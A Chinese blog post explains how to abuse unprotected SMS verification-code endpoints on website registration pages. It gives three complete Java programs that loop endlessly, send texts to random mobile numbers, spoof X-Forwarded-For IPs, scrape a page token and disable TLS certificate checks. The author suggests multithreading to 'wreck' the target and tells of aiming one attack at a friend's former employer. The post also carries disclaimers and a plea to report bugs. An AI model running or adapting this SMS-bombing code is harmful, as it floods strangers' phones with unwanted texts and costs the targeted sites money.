Hi,各位好,好久不玩博客了,最近在新公司无聊的时候,在查看一个其他网站的注册源代码时
发现了一处bug
首先前台页面是这样的结构(不显示相关网站的敏感信息)
这是一个很普通的注册页面,ok,我们看看相关js源代码,找到免费获取验证码的功能
这段代码就是普通的校验手机号,然后发送给短信接口api,60秒的校验重复发送,不知道大家发现问题了吗?
我可以根据url恶意仿造这接口需要的参数进行发送手机号码爆破,【(⊙?⊙)# 我都经历了什么。。呃。。】
目标服务器是http请求,那么我们先伪造一个试试【如果js被混淆可以使用Firefox查看post的数据请求及响应(。?_?)/~~~】
下图是直接在浏览器地址栏来进行http访问的
返回的是json数据 中文是Unicode码【Unicode码可以在网站上转换】,该Unicode码是“成功”的意思,同时手机上接收到了短信。
嗯,短信发送过来了,我们是不是该干点什么py交易了呢【(?????),罪恶】
我们可以使用ajax 跨域来访问也可以使用java apache httpclient来进行模拟浏览器访问
一言不合贴maven【apache httpclient(这里使用的是4.5+版本)和 jsoup(解析html很好用)】
<dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.2</version> </dependency> <dependency> <groupId>org.jsoup</groupId> <artifactId>jsoup</artifactId> <version>1.9.1</version> </dependency>
上代码:http方式模拟访问url
import java.io.IOException; import java.io.UnsupportedEncodingException; import java.util.ArrayList; import java.util.List; import java.util.concurrent.ThreadLocalRandom; import org.apache.http.HttpEntity; import org.apache.http.NameValuePair; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; public class Test { /** * url */ private static String URL = "http://www.aaabbb.ccc/admin/sendmsg"; /** * 定义手机号码段 */ private static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180" .split(","); /** * 获取随机范围内的数字 */ public static int getNum(int start, int end) { ThreadLocalRandom random = ThreadLocalRandom.current(); return random.nextInt( (end - start + 1) + start); } /** * 获取伪造的手机号 */ private static String getTel() { int index = getNum(0, telFirst.length - 1); String first = telFirst[index]; String second = String.valueOf(getNum(1, 888) + 10000).substring(1); String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1); return first + second + thrid; } /** * 获取伪造的ip */ public static String getIPProxy(){ StringBuffer sb = new StringBuffer(); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); return sb.toString(); } /** * 程序入口 */ public static void main(String[] args) throws Exception { while(true){ //单线程的死循环 post(URL,getTel(),getIPProxy()); } } /** * 发送 post请求访问本地应用并根据传递参数不同返回不同结果 */ public static void post(String url, String number,String ip_proxy) { // 创建默认的httpClient实例. CloseableHttpClient httpclient = HttpClients.createDefault(); // 创建httppost HttpPost httppost = new HttpPost(url); httppost.setHeader("Connection","keep-alive"); httppost.setHeader("Referer","从哪个网站连入过来的"); httppost.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"); httppost.setHeader("x-forwarded-for",ip_proxy);//伪造的ip地址 // 创建参数队列 List<NameValuePair> formparams = new ArrayList<NameValuePair>(); formparams.add(new BasicNameValuePair("phone", number)); UrlEncodedFormEntity uefEntity; try { uefEntity = new UrlEncodedFormEntity(formparams, "UTF-8"); httppost.setEntity(uefEntity); System.out.println("executing request " + httppost.getURI()); CloseableHttpResponse response = httpclient.execute(httppost); try { HttpEntity entity = response.getEntity(); if (entity != null) { System.out.println("--------------------------------------"); System.out.println("Response content: " + EntityUtils.toString(entity, "UTF-8")); System.out.println("--------------------------------------"); } } finally { response.close(); } } catch (ClientProtocolException e) { e.printStackTrace(); } catch (UnsupportedEncodingException e1) { e1.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { // 关闭连接,释放资源 try { httpclient.close(); } catch (IOException e) { e.printStackTrace(); } } } }
执行获得结果:
--------------------------------------
Response content: {"code":"2000","message":"\u6210\u529f"}
--------------------------------------
循环略..
例子为单线程死循环,如过想搞坏对方的话可以使用多线程,在此不列举多线程的相关知识了,您可以查找相关资料来了解。
PS:不过希望各位观众老爷知道这样做是不对的,以前有过短信接口了解,根据花钱的多少来决定每条短信多少钱,最便宜应该是比分还少的单位,别祸害了网站。
我们从这个例子上发现问题,一个短信接口要做足权限及验证码的验证的【要不钱都被坏人盗刷了_(:зゝ∠)_】
发现了对方的问题,尽量通知到对方的网站管理员或者客服反馈bug。
下面我们在看一个例子:【…(⊙_⊙;)…嘎。还要看吗?】
事件前提:我一个朋友,在一家互联网公司做程序员,辛苦了一年【4个人完成了整个项目,项目卖了2000w+】,到了过年的前几天,无原因突然被辞退,
辛苦了一年,到头来什么也没得到,诶,有这样的领导真是人生寂寞如雪啊。。扯远了,反正就是被强制辞退打包回家活都不用交接直接算账走人。
然后看了看他们的网站注册。。。【咦?为什么还要看网站注册。。= ̄ω ̄=】
注册页面如图:
ok,在看下源代码:
咦,感觉好高端,加上了token。。。
然后在仔细查看这个token的赋值
服务端直接写入js变量里了。。。。
怎么办?感觉好难处理。别急,有jsoup!
jsoup的相关介绍和资料就不在这里写了,请大家自己动手去了解下,我的大概理解就是解析html document对象的,让你方便的获取你想要的信息等(不支持动态的js执行)
我们只要先链接一下该页面并获取到token并把该值传递到发送短信接口的参数里即可实现爆破。
上代码:
import java.io.IOException; import java.util.concurrent.ThreadLocalRandom; import org.apache.http.HttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.util.EntityUtils; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.select.Elements; /** * 爆破对方短信发送接口 */ public class Test2 { /** * 获取token地址 查了对方的网页源代码发现js处有token进行服务器编译 */ static String GET_TOKEN_URL = "http://www.aaabbb.ccc/register.htm"; /** * 爆破地址 --短信接口模拟发送 */ static String BOOM_URL = "http://www.aaabbb.ccc/sms_send.htm"; /** * 手机号段 173 180号段没见过 随便加的 */ static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180" .split(","); /** * 获取最大值范围内的随机数 */ public static int getNum(int start, int end) { ThreadLocalRandom tlr = ThreadLocalRandom.current(); int m = tlr.nextInt(end - start + 1) + start; return m; } /** * 伪造电话号 */ public static String getTel() { int index = getNum(0, telFirst.length - 1); String first = telFirst[index]; String second = String.valueOf(getNum(1, 888) + 10000).substring(1); String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1); return first + second + thrid; } /** * 伪造ip */ public static String getIPProxy(){ StringBuffer sb = new StringBuffer(); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); return sb.toString(); } /** * 程序入口 */ public static void main(String[] args) throws Exception{ //实际不在使用单一单线程,使用多线程搞破坏了 while(true){ kissMyAss(getTel(),getIPProxy()); } } /** * 获取token */ private static String getToken(String html){ //解析返回的html Document doc = Jsoup.parse(html); //获取到带有script的元素组 Elements eles = doc.select("script"); if (eles != null && eles.size() > 0) { //根据页面分析得出token所在位置为第7个并且获取到token String token = eles.get(6).data().split(";")[1]; token = token.replaceAll("var sms_token=", "").replaceAll("\"", "").replaceAll("\n", "").replaceAll(" ","").replaceAll("\t","").replaceAll("\r",""); return token; } return null; } /** * 你懂得 */ public static void kissMyAss(String number,String ip_proxy) throws Exception { // // 创建HttpClientBuilder CloseableHttpClient client = HttpClients.createDefault(); HttpPost httpPost = new HttpPost(GET_TOKEN_URL); try { // 执行post请求 HttpResponse httpResponse = client.execute(httpPost); String html = EntityUtils.toString(httpResponse.getEntity()); String token = getToken(html); // System.out.println(token); // 执行get请求 //拼凑需要的参数 HttpGet httpGet = new HttpGet(BOOM_URL + "?mobile=" + number + "&mobile_type=new&sms_token="+token); httpGet.setHeader("Connection","keep-alive"); httpGet.setHeader("Referer","从哪个网站过来的"); httpGet.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"); httpGet.setHeader("x-forwarded-for",ip_proxy); httpResponse = client.execute(httpGet); String bodyHtml = EntityUtils.toString(httpResponse.getEntity()); System.out.println(bodyHtml); } catch (IOException e) { e.printStackTrace(); } finally { try { // 关闭流并释放资源 client.close(); } catch (IOException e) { e.printStackTrace(); } } } }
返回结果:略。
恭喜你,你现在就可以做一个网站爬取的功能了。
从这个问题我们也可以看出,光用token(此例子token纯属摆设)也是不行的,得有一套自己的加密规则和授权才可以
ok,那么看看现在的一些网站的注册页面里的短信发送接口吧。
我们来看一个网站,这个网站的所属公司是上市公司且在美国纳斯达克敲钟的。具体就不多说了
还是看页面
F12大法好
因为url被我除去了,他其实是https的访问
https相关的知识也请各位自行搜索
httpclient如何用https来访问呢?
上代码:【其中借鉴了网上一些博客的代码段】
import java.security.cert.X509Certificate; import java.util.concurrent.ThreadLocalRandom; import javax.net.ssl.SSLContext; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import org.apache.http.HttpResponse; import org.apache.http.HttpVersion; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpPost; import org.apache.http.conn.ClientConnectionManager; import org.apache.http.conn.params.ConnManagerPNames; import org.apache.http.conn.params.ConnPerRouteBean; import org.apache.http.conn.scheme.PlainSocketFactory; import org.apache.http.conn.scheme.Scheme; import org.apache.http.conn.scheme.SchemeRegistry; import org.apache.http.conn.ssl.SSLSocketFactory; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.impl.conn.SingleClientConnManager; import org.apache.http.params.BasicHttpParams; import org.apache.http.params.HttpParams; import org.apache.http.params.HttpProtocolParams; import org.apache.http.util.EntityUtils; public class HttpsTest { /** * 手机号段 173 180号段没见过 随便加的 */ static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180" .split(","); /** * 获取最大值范围内的随机数 */ public static int getNum(int start, int end) { ThreadLocalRandom tlr = ThreadLocalRandom.current(); int m = tlr.nextInt(end - start + 1) + start; return m; } /** * 伪造电话号 */ public static String getTel() { int index = getNum(0, telFirst.length - 1); String first = telFirst[index]; String second = String.valueOf(getNum(1, 888) + 10000).substring(1); String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1); return first + second + thrid; } /** * 伪造ip */ public static String getIPProxy(){ StringBuffer sb = new StringBuffer(); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); sb.append("."); sb.append(getNum(2,254)); return sb.toString(); } public static void main(String[] args) throws Exception { // // 获得密匙库 // KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType()); // FileInputStream instream = new FileInputStream(new File(" D:/zzaa ")); // // 密匙库的密码 // trustStore.load(instream, " 123456 ".toCharArray()); // // 注册密匙库 X509TrustManager tm = new X509TrustManager() { public void checkClientTrusted(X509Certificate[] xcs, String string) { } public void checkServerTrusted(X509Certificate[] xcs, String string) { } public X509Certificate[] getAcceptedIssuers() { return null; } }; SSLContext sslcontext = SSLContext.getInstance("TLS"); sslcontext.init(null, new TrustManager[] { tm }, null); SSLSocketFactory socketFactory = new SSLSocketFactory(sslcontext, SSLSocketFactory.STRICT_HOSTNAME_VERIFIER); // 不校验域名 // socketFactory.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); Scheme sch = new Scheme("https", 443, socketFactory); SchemeRegistry schemeRegistry = new SchemeRegistry(); schemeRegistry.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80)); schemeRegistry.register(sch); HttpParams params = new BasicHttpParams(); params.setParameter(ConnManagerPNames.MAX_TOTAL_CONNECTIONS, 30); params.setParameter(ConnManagerPNames.MAX_CONNECTIONS_PER_ROUTE, new ConnPerRouteBean(30)); params.setParameter(HttpProtocolParams.USE_EXPECT_CONTINUE, false); HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1); ClientConnectionManager cm = new SingleClientConnManager(params, schemeRegistry); HttpClient httpClient = new DefaultHttpClient(cm, params); // 获得HttpGet对象 String number = getTel(); System.out.println(number); HttpPost post = new HttpPost("https://aaa.bbb.ccc/ddd?MobilePhone="+number+"&Service=xxxx&MathCode=&Operatetype=2"); post.setHeader("Connection","keep-alive"); post.setHeader("Host","aaa.bbb.ccc"); post.setHeader("X-Requested-With","XMLHttpRequest"); post.setHeader("DNT","1");//不被跟踪 post.setHeader("Referer","从哪个网站访问过来的"); post.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"); post.setHeader("x-forwarded-for",getIPProxy()); // 发送请求 HttpResponse response = httpClient.execute(post); // 输出返回值 System.out.println(EntityUtils.toString(response.getEntity())); } }
执行返回结果:略。
其实他有个参数是验证码的参数,只是没有强制带入
同时也看了看各大网站的注册发送短信接口的发送参数,
淘宝的注册可是带都是特定加密信息规则的【(¬_¬)。。你还想干嘛?】
去哪网是带验证码【如果想破解可以了解下ocr图像文字识别技术,安利个开源的一个ocr接口 https://github.com/AvensLab/OcrKing 】
ok,先说这么多吧,再说多就会被请去喝茶聊天了。_(:зゝ∠)_
希望各位也不要乱搞啊。发现bug要发给网站维护人员啊!!!!
还有就是伪造ip那个只是一部分YY而已。他们也是有各种手段来获取到你的真实ip的。
把自己的接口写的茁壮才是正经事诶诶诶!
谢谢各位观众老爷,下次写博客就不知道是什么时候了。o(≧口≦)o
------
55555~~~图片截图得不行,毕竟csdn没网易邮箱那么智能~截个图就能显示不用存网络了。又重新弄了一次图片下载本地上传。
PS:本想看看csdn短信接口来着,不过他的短信接口已经500了_(:зゝ∠)_